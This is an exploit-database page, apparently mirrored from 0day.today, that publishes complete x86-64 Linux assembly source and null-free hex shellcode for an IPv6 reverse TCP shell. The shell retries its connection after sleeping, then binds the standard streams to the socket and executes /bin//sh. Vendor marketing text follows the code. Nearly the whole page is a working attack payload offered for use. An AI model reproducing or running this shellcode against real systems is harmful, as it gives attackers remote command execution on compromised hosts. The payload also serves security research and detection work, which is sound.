Lucene search
K

Linux/x86-64 - Reverse Shell Shellcode (IPv6) (113 bytes)

🗓️ 09 May 2017 00:00:00Reported by srakaiType 
zdt
 zdt
🔗 0day.today👁 38 Views

Linux/x86-64 Reverse Shell (IPv6) Size:113 bytes, Free of Nullbytes, Reconnects after Slee

Code
[BITS 64]
 
; **reverse ip6 tcp shell   
; * size >= 113 bytes (depends of ip addr, default is ::1)
; * nullbytes free (depends only on ip addr,
;   you could always and the ip add to remove
;   the nulls like i did with the port)
; * it sleeps and then tries to recconect (default 3 seconds) 
;
;shell =
;"\x6a\x0a\x5f\x6a\x01\x5e\x48\x31\xd2\x6a\x29\x58\x0f\x05\x50\x5b"
;"\x52\x48\xb9\x00\x00\x00\x00\x00\x00\x01\x51\xb9\x00\x00\x00\x00"
;"\x51\xba\xff\xff\x05\xc0\x66\x21\xfa\x52\x48\x31\xf6\x56\x6a\x03"
;"\x54\x5f\x6a\x23\x58\x0f\x05\x59\x59\x53\x5f\x54\x5e\x6a\x1c\x5a"
;"\x6a\x2a\x58\x0f\x05\x48\x85\xc0\x75\xe0\x48\x96\x6a\x03\x5e\x6a"
;"\x21\x58\x48\xff\xce\x0f\x05\x75\xf6\x48\xbf\x2f\x2f\x62\x69\x2f"
;"\x73\x68\x56\x57\x48\x31\xd2\x54\x5f\x6a\x3b\x58\x0f\x05"
;
; again, the nulls propably won't even come up with your global ip addr
; if they do, and you don't encodee the payload, you could do some
; bitwise operations
;
; made by srakai (github.com/Srakai)
 
 
AF_INET6    equ 10
SOCK_STREAM equ 1
SOCKET      equ 41
CONNECT     equ 42
DUP2        equ 33
EXECVE      equ 59
NANOSLEEP   equ 35
 
section .text
 
global _start
 
_start:
 
; socket()
 
push    AF_INET6
pop     rdi
push    SOCK_STREAM
pop     rsi
xor     rdx, rdx
push    SOCKET
pop     rax
syscall
 
push    rax
pop     rbx
 
; create struct sockaddr_in6
push    rdx         ;scope id = 0
mov     rcx, 0x0100000000000000 ;sin6_addr  for local link use:
push    rcx                     ;sin6_addr  0x0100000000000000 
mov     rcx, 0x0000000000000000 ;sin6_addr  0x0000000000000000
push    rcx             ;sin6_addr
mov     edx, 0xc005FFFF     ;sin6_flowinfo=0 , family=AF_INET6, port=1472 
and     dx, di          ;to change port change P, 0xPPPP000A
push    rdx
 
sleep:
 
xor     rsi, rsi
; struct timespec
push    rsi         ;push 0
push    3       ;seconds to sleep
 
; nanosleep()
push    rsp
pop     rdi
push    NANOSLEEP
pop     rax
syscall
 
pop     rcx         ;clear stack
pop     rcx
 
; connect()
push    rbx
pop     rdi
push    rsp
pop     rsi
push    28      ;sizeof struct
pop     rdx
push    CONNECT
pop     rax
syscall
 
test    rax, rax    ;if (rax&rax) ==0   
jnz     sleep   
 
; dup2()
xchg    rsi, rax    ;rsi=0
push    3
pop     rsi
dup2:
push    DUP2
pop     rax
dec     rsi
syscall
jnz     dup2
 
; execve()
mov     rdi, 0x68732f6e69622f2f
push    rsi
push    rdi
xor     rdx, rdx
push    rsp
pop     rdi
push    EXECVE 
pop     rax
syscall

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation